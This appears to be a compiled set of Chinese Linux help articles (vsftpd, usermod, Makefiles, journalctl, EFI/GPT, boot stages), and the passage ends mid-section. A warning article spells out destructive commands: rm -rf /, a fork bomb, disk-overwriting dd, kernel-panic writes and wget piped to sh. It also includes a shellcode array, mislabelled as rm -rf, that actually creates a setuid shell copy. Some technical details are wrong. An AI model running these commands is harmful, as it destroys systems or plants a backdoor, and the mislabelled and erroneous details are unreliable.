- 工信部备案号 滇ICP备05000110号-1
- 滇公安备案 滇53010302000111
- 增值电信业务经营许可证 B1.B2-20181647、滇B1.B2-20190004
- 云南互联网协会理事单位
- 安全联盟认证网站身份V标记
- 域名注册服务机构许可:滇D3-20230001
- 代理域名注册服务机构:新网数码
一.安装 VSFTPD1.使用 yum 安装 vsftpd:yum install vsftpd -yvsftpd 是在 Linux 上被广泛使用的 FTP 服务器,根据其[官网介绍][https://security.appspot.com/vsftpd.html],它可能是 UNIX-like 系统下最安全和快速的 FTP 服务器软件。2.启动 VSFTPD安装完成后,启动 FTP 服务:service vsftpd start启动后,可以看到系统已经[监听了 21 端口]:netstat -nltp | grep 21此时,访问 ftp://<您的 CVM IP 地址> 可浏览机器上的 /var/ftp 目录了。FTP 协议默认使用 21 端口作为服务端口3.配置 FTP 权限目前 FTP 服务登陆允许匿名登陆,也无法区分用户访问,我们需要配置 FTP 访问权限了解 VSFTP 配置vsftpd 的配置目录为 /etc/vsftpd,包含下列的配置文件:vsftpd.conf 为主要配置文件ftpusers 配置禁止访问 FTP 服务器的用户列表user_list 配置用户访问控制开始修改配置来设置权限。阻止匿名访问和切换根目录匿名访问和切换根目录都会给服务器带来[安全风险],我们把这两个功能关闭。编辑 /etc/vsftpd/vsftpd.conf,[找到下面两处配置]并修改:# 禁用匿名用户anonymous_enable=NO# 禁止切换根目录chroot_local_user=YES编辑完成后,按 Ctrl + S 保存配置,重新启动 FTP 服务,如:service vsftpd restart匿名访问让所有人都可以上传文件到服务器上而无需鉴权,而允许切换根目录则可能产生越权访问问题。二.创建 FTP 用户1.创建一个用户 ftpuser:useradd ftpuser为用户 ftpuser 设置密码:echo "Password" | passwd ftpuser --stdin下面命令中的密码为实验室为您生成,为了方便后面的实验步骤,不建议使用其他密码限制该用户仅能通过 FTP 访问限制用户 ftpuser 只能通过 FTP 访问服务器,而不能直接登录服务器:usermod -s /sbin/nologin ftpuser为用户分配主目录为用户 ftpuser 创建[主目录]并约定:/data/ftp 为主目录, 该目录不可上传文件/data/ftp/pub 文件只能上传到该目录下mkdir -p /data/ftp/pub创建登录欢迎文件:echo "Welcome to use FTP service." > /data/ftp/welcome.txt2.设置访问权限:chmod a-w /data/ftp && chmod 777 -R /data/ftp/pub设置为用户的主目录:usermod -d /data/ftp ftpuser用户的主目录是用户通过 FTP 登录后看到的根目录
usermod命令用于修改用户的基本信息。usermod命令不允许你改变正在线上的使用者帐号名称。当usermod命令用来改变user id,必须确认这名user没在电脑上执行任何程序。你需手动更改使用者的crontab档。也需手动更改使用者的at工作档。采用NIS server须在server上更动相关的NIS设定。语法usermod(选项)(参数)选项-c<备注>:修改用户帐号的备注文字;-d<登入目录>:修改用户登入时的目录;-e<有效期限>:修改帐号的有效期限;-f<缓冲天数>:修改在密码过期后多少天即关闭该帐号;-g<群组>:修改用户所属的群组;-G<群组>;修改用户所属的附加群组;-l<帐号名称>:修改用户帐号名称;-L:锁定用户密码,使密码无效;-s<shell>:修改用户登入后所使用的shell;-u<uid>:修改用户ID;-U:解除密码锁定。参数登录名:指定要修改信息的用户登录名。实例将newuser2添加到组staff中:usermod -G staff newuser2修改newuser的用户名为newuser1:usermod -l newuser1 newuser锁定账号newuser1:usermod -L newuser1解除对newuser1的锁定:usermod -U newuser1usermod –d /data/ftp ftp1 修改ftp1用户登陆的目录
centos下彻底删除MYSQL 和重新安装MYSQL1 删除Mysql yum remove mysql mysql-server mysql-libs mysql-server; find / -name mysql 将找到的相关东西delete掉; rpm -qa|grep mysql(查询出来的东东yum remove掉)2 安装Mysql yum install mysql mysql-server mysql-libs mysql-server;
Makefile 是什么一个正式的软件工程中,源文件按类型、功能、模块等分别放在不同的目录下,如果每次都在命令行这样: gcc a.c b.c c.c -o test ,显然是非常影响效率的,那么这时候就需要 Makefile 来进行管理,在 Makefile 中指定哪些文件先编译,那些文件后编译,在什么情况下编译哪些文件等操作。Makefile 就是一个用来帮助我们编译的工具,和 Windows 下的 IDE 类似,只不过 Makefile 需要我们自己动手编写,一个好的 Makefile 可以极大的提升工作的效率。Makefile 规则target ... : prerequisites ...command...target 就是我们编译文件要生成的目标, prerequisites 就是我们编译文件需要的依赖, command 就是用依赖生成目标所需要执行的命令。比如我们平时使用的 gcc a.c b.c -o test这里的 test 就是我们要生成的目标, a.c 就是我们生成目标需要的依赖,而 gcc a.c -o test 则是命令。将这行命令用 Makefile 的方式来写就是:test:a.c b.c gcc a.c b.c -o testMakefile 中的命令必须用 tab 开始,不能是空格。Makefile 可以自动推导文件以及文件依赖关系后面的命令,在后面的示例中我们可以看到目标的依赖基本都是 .o 文件而不是 .c 文件,原因正是 Makefile 强大的自动推导功能。通常 Makefile 中还会有一个名为 clean 的目标,用来清除编译后产生的各种文件。一般情况下 Makefile 会根据依赖和目标的新旧来决定是否编译,但是如果不小心修改了目标而造成目标比依赖新的情况的话,Makefile 会因为目标比依赖新而忽略这个目标下的命令,这个时候显然会造成问题,一个解决的办法就是使用 clean 这样的目标来清除编译后的文件,然后 make 重新编译。clean 这个目标有点特殊,他是不需要依赖的,因此也叫伪目标。一般使用方式如下:clean: rm *.o test -fMakefile 使用make 命令执行时,需要一个 Makefile 文件(文件名为 Makefile 、 makefile 、 *.mk ),以告诉 make 命令需要怎么样的去编译和链接程序。执行时只用在命令行输入 make , Makefile 就会自动执行第一个目标下的命令。而是否执行命令则取决于依赖,如果没有目标文件或是目标后的依赖文件比目标文件新,Makefile 就会执行其下面的命令。Makefile 中使用 # 注释,只注释 # 后的一行。Makefile 中引用其他 Makefile,用 include 指令来引用。引用的效果就是原地展开。Makefile 命令前面加 @ 来静默执行,即执行命令时不打印命令本身。Makefile 变量Makefile 中的变量和 shell 脚本中非常相似,都是直接定义,不需要类型,引用时用 $(var) 。伪目标( .PHONY ):伪目标形式上是一个目标,但是不需要依赖,伪目标一般只是为了执行目标下面的命令(比如 clean 就是伪目标)。Makefile 中的几种变量赋值运算符= 赋值,可以被赋值为变量的值,解析时取这个变量最后的值。:= 也是赋值,被赋值为变量时解析为变量在这行语句时的值,即变量如果后面改变这里的值也不改变。?= 如果变量前面并没有赋值过则执行这条赋值,如果前面已经赋值过了则本行被忽略。+= 用来给一个已经赋值的变量接续赋值,意思就是把这次的值加到原来的值的后面。关于 = 和 := ,比如 B=$(A)bcd ,那么 B 的值取决于变量 A 最后一次被赋值的值,即使 A 在 B 之后再次被赋值,变量 B 仍然会随着 A 的改变而改变。而 := 则只看之前 A 最后被赋值的值。Makefile 的环境变量Makefile 中用 export 导出的就是环境变量。一般情况下要求环境变量名用大写,普通变量名用小写。环境变量和普通变量不同,可以这样理解:环境变量类似于整个工程中所有 Makefile 之间可以共享的全局变量,而普通变量只是当前本 Makefile 中使用的局部变量。所以要注意:定义了一个环境变量会影响到工程中别的 Makefile 文件,因此要小心。Makefile 中的自动变量自动变量是 Makefile 中提前预定义的特殊意义的符号,类似 C 语言中的宏 __LINE__ 等,提前被定义并被赋予了特殊含义。$@ 目标文件名,比如上文的 test 。$< 第一个依赖文件名,如果依赖目标是以模式(即“ % “)定义的,那么” $< “将是符合模式的一系列的文件集。注意,其是一个一个取出来的。$^ 依赖的文件集合,比如上文的 a.c b.c 。此外还可以向 Makefile 传参, $# 存放传递参数个数, $1 存放第一个参数的字符串, $2 存放第二个参数的字符串……其他通配符:比如在当前文件夹下有 1.c 2.c 12.c test.c 1.h 。% 若干个任意字符,和 * 很相似,但是 % 一般只用于规则描述中,又叫做规则通配符。* 若干个任意字符 *.c 匹配 1.c 2.c 12.c test.c 。? 1个任意字符 ?.c 匹配 1.c 2.c 。[] 将 [] 中的字符依次去和外面的结合匹配 [12].c 匹配 1.c 2.c 。Makefile 与 shell 脚本非常相似,shell 脚本中能使用的 Makefile 也能使用,比如 awk 等工具
⒈首先你要有一个已经安装完整并可以使用的kangle(康乐)系统。 (这里就不在演示怎样安装,请参考http://www.landui.com/help/show-1060)⒉新建一个带数据库的php虚拟空间.⒊下载并安装vhms前台销售源码⒋绑定域名访问、安装、填写账号、密码以及数据库信息,完成源码安装。⒌访问前台销售系统后台(http://域名/admin/index.php),下面是界面 6.设置信息:最重要的一步就是对接好自己的kangle vhms主机/用户管理-->主机列表-->增加主机-->填写好已开通的对应主机名称、主机域名、主机IP、主机端口及主机管理员账号与密码 7.测试.点击添加的主机名称”登陆管理”,即可登陆到easypanle面板中管理站点
注意:以下命令请勿执行!后果自负.rm -rf /想要干脆利落的毁掉一个 Linux 系统吗?你无法超越这个被誉为“史上最糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!和大多数 Linux 命令一样,rm 这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;这是什么?这是 16 进制的 rm -rf 写法。在你不明确这段代码之前,请千万不要运行这条命令!fork 炸弹既然我们讨论的都是些奇怪的代码,不妨思考一下这一行::(){ :|: & };:它就是那个臭名昭著的 Bash fork 炸弹。它会反复启动新的 Bash shell,直到你的系统资源消耗殆尽、系统崩溃。不应该在最新的 Linux 系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux 系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为 root 用户的你运行了这行命令(或者它的变体 Bash fork 炸弹变体),你仍然可以反复虐待服务器,直到系统重启了。垃圾数据重写硬盘有时候你想彻底清除硬盘的数据,你应该使用 Darik's Boot and Nuke (DBAN) 工具去完成这项工作。但是如果仅仅想让你的存储器乱套,那很简单:任意命令 > /dev/hda“任意命令”,是指有输出的任意命令,比如:ls -la > /dev/hda……将目录列表通过管道送到你的主存储设备。给我 root 权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成 职业禁入方式。擦除硬盘!另一个一直受欢迎的擦除硬盘的方式是执行:dd if=/dev/zero of=/dev/hda你可以用这条命令写入数据到你的硬盘设备。dd 命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。可能现在听起来 /dev/zero 是个愚蠢的想法,但是它真的管用。比如说,你可以使用它来 用零清除未使用的分区空间。它能使分区的镜像压缩到更小,以便于数据传输或是存档使用。在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毁掉你的一天之外,不是一个好事。如果你运行了这个指令(千万不要),你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用 DBAN 工具去更好的完成你的任务。/dev/null 的损失也许因为数据珍贵,我们对备份的数据没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例:另一个毁灭你的存储设备的方式,运行 mv / /dev/null 或者 >mv /dev/null。在前一种情况下,你作为 root 用户,把整个磁盘数据都送进这个如饥似渴的 /dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。格式化错了驱动器有时候你需要使用这一条命令格式化驱动器:mkfs.ext3 /dev/hda……它会用 ext3 文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是 SSD、闪存盘还是其他氧化铁磁盘。内核崩溃一些 Linux 命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem这些都会导致内核崩溃。绝不要运行你并不了解它功能的命令,它们都在提醒我…提防未知脚本年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh这会下载该脚本,并将它送到 shell 上运行。很明确,别大惊小怪,对吧?不对。这个脚本也许已经被恶意软件感染。当然,一般来说 Linux 比大多数操作系统都要安全,但是如果你以 root 用户运行未知代码,什么都可能会发生。这种危害不仅在恶意软件上,脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。
1.相关技术解释: 1) BIOS+MBR相关: ①BIOS:集成在电脑主板上的电脑自检系统,并且能够加载磁盘MBR上的引导程序。 ②MBR:win7之前磁盘分区的一种标准,内含引导操作系统的引导程序和磁盘分区表。 ③MBR上的引导程序:完成对磁盘上系统装载入内存的过程,即引导系统载入和启动。 ④MBR上的磁盘分区表:最多有4个主分区或者扩展分区(源于MBR限制),最多有一个扩展分区(源于操作系统限制),综上即最多有三个主分区,一个扩展分区。MBR采用32位标识块在磁盘的位置,故最多能标识2^32个块,每个块512KB,故最大支持约2TB容量。2)EFI+GPT相关: ⑤EFI:一种基于新型主板的一种简易操作系统,可以识别.efi文件,采用C语言开发。(该操作系统完成的功能=BIOS+MBR上引导程序) ⑥GPT:一种新的磁盘分区标准,与EFI共生,采用64位标识磁盘上的块(MBR为32位来标识),旨在弥补MBR对大容量磁盘无法识别的不足,其所能识别的磁盘最大容量为(2^32)*2TB。(GPT完成的功能=MBR上的分区表) ⑦EFI+GPT的功能=BIOS+MBR(MBR引导程序+MBR磁盘分区表)2.EFI+GPT因何出现? ①对开机速度的提升的渴望:BIOS+MBR启动过程繁琐,EFI+GPT启动简易。 ②增强对大容量硬盘识别:MBR支持2TB,GPT支持(2^32)*2TB。 ③统一启动程序和标准。 ④安装系统更加简易:BIOS+MBR必须依靠工具将系统的引导程序写入MBR,EFI+GPT只需系统镜像中有efi格式的安装程序即可,便可被EFI这个微型操作系统识别,运行。3.发展趋势: 由于磁盘单位价格的持续走低,大容量磁盘已经是必然的趋势,到某个时刻你必须采用EFI+GPT来识别你硬盘的全部容量。4.值得注意的点 由于,EFI+GPT的组合,只能将系统装到GPT分区的磁盘上,即只能装到GPT格式的磁盘上。故存在MBR分区转GPT分区的情况。 该过程需要格盘,我们需要备份好重要数据。5.EFI+GPT的必备条件: ①系统镜像中需要有efi格式的文件,被用于EFI系统的识别并安装程序。 ②主板支持efi,操作系统支持efi。 ③操作系统必须安装到GPT格式的磁盘
内容简介作为最具吸引力的优势,systemd拥有强大的处理与系统日志记录功能。在使用其它工具时,日志往往被分散在整套系统当中,由不同的守护进程及进程负责处理,这意味着我们很难跨越多种应用程序对其内容进行解读。相比之下,systemd尝试提供一套集中化管理方案,从而统一打理全部内核及用户级进程的日志信息。这套系统能够收集并管理日志内容,而这也就是我们所熟知的journal。Journal的实现归功于journald守护进程,其负责处理由内核、initrd以及服务等产生的信息。在今天的教程中,我们将探讨如何使用journalctl工具,并在其帮助下访问并操作journal内部的数据。总体思路Systemd journal的深层驱动力在于以集中方式管理对来自任意来源的日志信息。由于大部分引导进程都是由systemd进程处理的,因此我们有理由以标准化方式实现日志的收集与访问。其中jornald守护进程会收集全部来源的数据并将其以二进制格式加以存储,从而轻松实现动态操作。这种作法能够实现多种收益。通过单一工具与数据交互,管理员能够以动态方式显示日志数据。另外,我们也可以轻松查看历史引导数据,或者将日志条目同其它相关服务加以结合,从而 完成通信问题调试。将日志数据以二进制形式存储还意味着这些数据可根据需求随时以二进制输出格式显示。例如,大家可以通过标准syslog格式查看日志以实现日常管理,并在需要使用图形服务时将各条目作为JSON对象交由图形化服务处理。由于数据不会以纯文本形式被写入磁盘,因此我们无需进行任何格式转换。大家可以将systemd journal与现有syslog方案配合使用,也可利用其替代现有syslog功能,具体取决于实际需求。尽管systemd journal足以涵盖大部分管理工作需求,但其同时也能够补充现有日志记录机制。例如,大家可以建立一套集中式syslog服务器,从而对来自多台服务器的数据进行编译;或者,我们也能够利用systemd journal将来自多项服务的日志汇总在单一系统当中。设置系统时间使用二进制journal的一大好处在于,它能够以UTC或者本地时间显示日志记录。在默认情况下,systemd会以本地时间显示结果。有鉴于此,在我们开始使用journal之前,首先要确保时区得到正确设置。Systemd套件中还提供一款timedatectl工具,专门用于解决此类问题。首先,利用list-timezones选项查看可用时区:timedatectl list-timezones结果将列出系统上可用的全部时区。而后选择与服务器所在地相匹配的项目,并使用set-timezone选项加以设置:sudo timedatectl set-timezone zone 为了确保我们的设备使用正确的时间,可单独使用timedatectl命令或者添加status选项。显示结果如下:timedatectl status第一行所示应为正确时间。基础日志查看要查看journald守护进程收集到的日志,可使用journalctl命令。在单独使用时,系统中的每个journal条目都会被显示在单一pager中供我们浏览。条目时间越早,排列越靠前:journalctl大家可以一页页进行翻看,不过如果系统运行时间较长,那么systemd中的日志也将成千上万,这也证明了journal数据库中可观的数据量。其格式与标准的syslog日志非常相似。然而,其收集数据的来源较syslog要丰富得多。其中包含有来自先前引导进程、内核、initrd以及应用程序标准错误与输出的日志。这一切都可在journal中查看到。大家可能还注意到,全部时间戳都以本地时间为准。由于已经为系统正确设置了本地时间,所以显示的时间戳也都准确无误。如果大家希望以UTC显示时间戳,则可使用–utc标记:journalctl --utc按时间进行journal过滤浏览大量数据当然有其作用,但信息量过于庞大则会让我们很难甚至根本不可能找到真正重要的内容。因此,journalctl提供了极为关键的过滤选项。显示当前引导进程下的日志其中最常用的就是-b标记了,其将显示全部最近一次重新引导后收集到的journal条目。journalctl -b通过这种方式,我们能够识别并管理源自当前环境下的信息。过往引导记录大家通常只需要查看当前引导环境下的信息,但有时候查看过往引导记录也非常必要。Journal能够保存大量过往引导信息,从而允许journalctl轻松显示相关内容。有些版本会在默认情况下保存过往引导信息,而有些则默认禁用这项功能。要启用此功能,可以使用以下功能以创建用于存储journal信息的目录:- sudo mkdir -p /var/log/journal或者直接编辑journal配置文件:vi /c/systemd/journald.conf在[Journal]区段下将Storage=选项设定为“persistent”以启用持久记录:/etc/systemd/journald.conf 当启用保存过往引导信息功能后,journalctl会提供额外命令以帮助大家将各引导记录作为独立单元操作。要查看Journald中已经记录的引导信息,可使用–list-boots选项:journalctl --list-boots这里每次引导都将显示为一行。第一列可用于在journalctl中引用该次引导。如果大家需要更为准确的引用方式,则可在第二列中找到引导ID。末尾记录的两次时间为当次引导的开始与结束时间。要显示这些引导中的具体信息,则可使用第一或者第二列提供的信息。例如,要查看上次引导的journal记录,则可使用-1相对指针配合-b标记:journalctl -b -1另外,也可以使用引导ID:journalctl -b 5fd460bd42c7448b89ed9a697112a543时间窗按照引导环境查看日志条目当然非常重要,但我们往往还需要使用与系统引导无关的时间窗作为浏览基准。这种情况在长期运行的服务器当中较为常见。大家可以利用–since与–until选项设定时间段,二者分别负责说明给定时间之前与之后的记录。时间值可以多种格式输出。对于绝对时间值,大家可以使用以下格式:YYYY-MM-DD HH:MM:SS例如,我们可以通过以下命令查看全部2015年1月10日下午5:15之后的条目:journalctl --since "2018-01-5"如果以上格式中的某些组成部分未进行填写,系统会直接进行默认填充。例如,如果日期部分未填写,则会直接显示当前日期。如果时间部分未填写,则缺省使用“00:00:00”(午夜)。第二字段亦可留空,默认值为“00”:journalctl --since "2018-01-5" --until "2018-01-7 3:00" 另外,journal还能够理解部分相对值及命名简写。例如,大家可以使用“yesterday”、“today”、“tomorrow”或者“now”等表达。另外,我们也可以使用“-”或者“+”设定相对值,或者使用“ago”之前的表达。获取昨天数据的命令如下:journalctl –since yesterday要获得早9:00到一小时前这段时间内的报告,可使用以下命令:journalctl --since 09:00 --until "1 hour ago"时间窗的过滤机制非常灵活且易用。按信息类型过滤现在我们要探讨如何利用感兴趣的服务或者组件类型实现过滤。Systemd journal同样提供多种方式供大家选择。按单元最常用的此类过滤方式当数按单元过滤了。我们可以使用-u选项实现这一效果。例如,要查看系统上全部来自Nginx单元的日志,可使用以下命令:journalctl -u nginx.service一般来讲,我们可能需要同时按单元与时间进行信息过滤。例如,检查今天某项服务的运行状态:journalctl -u nginx.service --since today我们还可以充分发挥journal查看多种单元信息的优势。例如,如果我们的Nginx进程接入某个PHP-FPM单元以处理动态内容,则可将这两个单元合并并获取按时间排序的查询结果:journalctl -u nginx.service -u php-fpm.service --since today这种能力对于不同程序间交互及系统调试显然非常重要。按进程、用户或者群组ID由于某些服务当中包含多个子进程,因此如果我们希望通过进程ID实现查询,也可以使用相关过滤机制。这里需要指定_PID字段。例如,如果PID为8088,则可输入:journalctl _PID=8088有时候我们可能希望显示全部来自特定用户或者群组的日志条目,这就需要使用_UID或者_GID。例如,如果大家的Web服务器运行在www-data用户下,则可这样找到该用户ID:id -u www-data接下来,我们可以使用该ID返回过滤后的journal结果:journalctl _UID=33 --since todaySystemd journal拥有多种可实现过滤功能的字段。其中一些来自被记录的进程,有些则由journald用于自系统中收集特定时间段内的日志。之前提到的_PID属于后一种。Journal会自动记录并检索进程PID,以备日后过滤之用。大家可以查看当前全部可用journal字段:man systemd.journal-fields下面来看针对这些字段的过滤机制。-F选项可用于显示特定journal字段内的全部可用值。例如,要查看systemd journal拥有条目的群组ID,可使用以下命令:journalctl -F _GID其将显示全部journal已经存储至群组ID字段内的值,并可用于未来的过滤需求。按组件路径我们也可以提供路径位置以实现过滤。如果该路径指向某个可执行文件,则journalctl会显示与该可执行文件相关的全部条目。例如,要找到与bash可执行文件相关的条目:journalctl /usr/bin/bash一般来讲,如果某个单元可用于该可执行文件,那么此方法会更为明确且能够提供更好的相关信息(与子进程相关的条目等)。但有时候,这种作法则无法奏效。显示内核信息内核信息通常存在于dmesg输出结果中,journal同样可对其进行检索。要只显示此类信息,可添加-k或者–dmesg标记:journalctl -k默认情况下,其会显示当前引导环境下的全部内核信息。大家也可以使用常规的引导选择标记对此前的引导记录进行查询。例如,要查询五次之前引导环境的信息:journalctl -k -b -5按优先级管理员们可能感兴趣的另一种过滤机制为信息优先级。尽管以更为详尽的方式查看日志也很有必要,不过在理解现有信息时,低优先级日志往往会分散我们的注意力并导致理解混乱。大家可以使用journalctl配合-p选项显示特定优先级的信息,从而过滤掉优先级较低的信息。例如,只显示错误级别或者更高的日志条目:journalctl -p err -b这将只显示被标记为错误、严重、警告或者紧急级别的信息。Journal的这种实现方式与标准syslog信息在级别上是一致的。大家可以使用优先级名称或者其相关量化值。以下各数字为由最高到最低优先级:0: emerg1: alert2: crit3: err4: warning5: notice6: info7: debug以上为可在-p选项中使用的数字或者名称。选定某一优先级会显示等级与之等同以及更高的信息。修改journal显示内容到这里,过滤部分已经介绍完毕。我们也可以使用多种方式对输出结果进行修改,从而调整journalctl的显示内容。截断或者扩大输出结果我们可以缩小或者扩大输出结果,从而调整journalctl的显示方式。在默认情况下,journalctl会在pager内显示各条目,并通过右箭头键访问其信息。如果大家希望截断输出内容,向其中插入省略号以代表被移除的信息,则可使用–no-full选项:journalctl --no-full 大家也可以要求其显示全部信息,无论其是否包含不可输出的字符。具体方式为添加-a标记:journalctl -a标准输出结果默认情况下,journalctl会在pager内显示输出结果以便于查阅。如果大家希望利用文本操作工具对数据进行处理,则可能需要使用标准格式。在这种情况下,我们需要使用–no-pager选项:journalclt --no-pager这样相关结果即可根据需要被重新定向至磁盘上的文件或者处理工具当中。输出格式如果大家需要对journal条目进行处理,则可能需要使用更易使用的格式以简化数据解析工作。幸运的是,journal能够以多种格式进行显示,只须添加-o选项加格式说明即可。例如,我们可以将journal条目输出为JSON格式:journalctl -b -u nginx -o json这种方式对于工具解析非常重要。大家也可以使用json-pretty格式以更好地处理数据结构:journalctl -b -u nginx -o json-pretty以下为可用于显示的各类格式:cat: 只显示信息字段本身。export: 适合传输或备份的二进制格式。json: 标准JSON,每行一个条目。json-pretty: JSON格式,适合人类阅读习惯。json-sse: JSON格式,经过打包以兼容server-sent事件。short: 默认syslog类输出格式。short-iso: 默认格式,强调显示ISO 8601挂钟时间戳。short-monotonic: 默认格式,提供普通时间戳。short-precise: 默认格式,提供微秒级精度。verbose: 显示该条目的全部可用journal字段,包括通常被内部隐藏的字段。这些选项允许大家以最适合需求的格式显示journal条目。活动进程监控:Journalctl命令还能够帮助管理员以类似于tail的方式监控活动或近期进程。这项功能内置于journalctl当中,允许大家在无需借助其它工具的前提下实现访问。显示近期日志:要显示特定数量的记录,大家可以使用-n选项,具体方式为tail -n。默认情况下,其会显示最近十条记录:journalctl -n大家可以在-n之后指定要查看的条目数量journalctl -n 20追踪日志要主动追踪当前正在编写的日志,大家可以使用-f标记。方式同样为tail -f:journalctl -fJournal维护存储这么多数据当然会带来巨大压力,因此我们还需要了解如何清理部分陈旧日志以释放存储空间。 了解现有磁盘使用量大家可以利用–disk-usage标记查看journal的当前磁盘使用量:journalctl --disk-usage删除旧有日志如果大家打算对journal记录进行清理,则可使用两种不同方式(适用于systemd 218及更高版本)。如果使用–vacuum-size选项,则可硬性指定日志的总体体积,意味着其会不断删除旧有记录直到所占容量符合要求:sudo journalctl --vacuum-size=1G另一种方式则是使用–vacuum-time选项。任何早于这一时间点的条目都将被删除。例如,去年之后的条目才能保留:sudo journalctl --vacuum-time=1years限定Journal扩展大家可以配置自己的服务器以限定journal所能占用的最高容量。要实现这一点,我们需要编辑/etc/systemd/journald.conf文件。以下条目可用于限定journal体积的膨胀速度:SystemMaxUse=: 指定journal所能使用的最高持久存储容量。SystemKeepFree=: 指定journal在添加新条目时需要保留的剩余空间。SystemMaxFileSize=: 控制单一journal文件大小,符合要求方可被转为持久存储。RuntimeMaxUse=: 指定易失性存储中的最大可用磁盘容量(/run文件系统之内)。RuntimeKeepFree=: 指定向易失性存储内写入数据时为其它应用保留的空间量(/run文件系统之内)。RuntimeMaxFileSize=: 指定单一journal文件可占用的最大易失性存储容量(/run文件系统之内)。通过设置上述值,大家可以控制journald对服务器空间的消耗及保留方式。总结到这里,systemd journal对系统及应用数据的收集与管理机制就介绍完毕了。其出色的灵活性源自将广泛的元数据自动记录至集中化日志之内。另外,journalctl命令则显著简化了journal的使用方式,从而让更多管理员得以利用它完成面向不同应用组件的分析与相关调试工作。
先问一个问题,”启动”用英语怎么说?回答是boot。可是,boot原来的意思是靴子,”启动”与靴子有什么关系呢? 原来,这里的boot是bootstrap(鞋带)的缩写,它来自一句谚语:"pull oneself up by one's bootstraps"字面意思是”拽着鞋带把自己拉起来”,这当然是不可能的事情。最早的时候,工程师们用它来比喻,计算机启动是一个很矛盾的过程:必须先运行程序,然后计算机才能启动,但是计算机不启动就无法运行程序!早期真的是这样,必须想尽各种办法,把一小段程序装进内存,然后计算机才能正常运行。所以,工程师们把这个过程叫做”拉鞋带”,久而久之就简称为boot了。计算机的整个启动过程分成四个阶段。一、第一阶段:BIOS上个世纪70年代初,”只读内存”(read-only memory,缩写为ROM)发明,开机程序被刷入ROM芯片,计算机通电后,第一件事就是读取它。这块芯片里的程序叫做”基本輸出輸入系統”(Basic Input/Output System),简称为BIOS。1.1 硬件自检BIOS中主要存放的程序包括:自诊断程序(通过读取CMOS RAM中的内容识别硬件配置,并对其进行自检和初始化)、CMOS设置程序(引导过程中,通过特殊热键启动,进行设置后,存入CMOS RAM中)、系统自动装载程序(在系统自检成功后,将磁盘相对0道0扇区上的引导程序装入内存使其运行)和主要I/O驱动程序和中断服务(BIOS和硬件直接打交道,需要加载I/O驱动程序)。BIOS程序首先检查,计算机硬件能否满足运行的基本条件,这叫做”硬件自检”(Power-On Self-Test),缩写为POST。如果硬件出现问题,主板会发出不同含义的蜂鸣,启动中止。如果没有问题,屏幕就会显示出CPU、内存、硬盘等信息。1.2 启动顺序硬件自检完成后,BIOS把控制权转交给下一阶段的启动程序。这时,BIOS需要知道,”下一阶段的启动程序”具体存放在哪一个设备。也就是说,BIOS需要有一个外部储存设备的排序,排在前面的设备就是优先转交控制权的设备。这种排序叫做”启动顺序”(Boot Sequence)。打开BIOS的操作界面,里面有一项就是”设定启动顺序”。二、第二阶段:主引导记录BIOS按照”启动顺序”,把控制权转交给排在第一位的储存设备。即根据用户指定的引导顺序从软盘、硬盘或是可移动设备中读取启动设备的MBR,并放入指定的位置(0x7c000)内存中。这时,计算机读取该设备的第一个扇区,也就是读取最前面的512个字节。如果这512个字节的最后两个字节是0x55和0xAA,表明这个设备可以用于启动;如果不是,表明设备不能用于启动,控制权于是被转交给”启动顺序”中的下一个设备。这最前面的512个字节,就叫做”主引导记录”(Master boot record,缩写为MBR)。2.1 主引导记录的结构“主引导记录”只有512个字节,放不了太多东西。它的主要作用是,告诉计算机到硬盘的哪一个位置去找操作系统。主引导记录由三个部分组成:(1) 第1-446字节:调用操作系统的机器码。(2) 第447-510字节:分区表(Partition table)。(3) 第511-512字节:主引导记录签名(0x55和0xAA)。其中,第二部分”分区表”的作用,是将硬盘分成若干个区。2.2 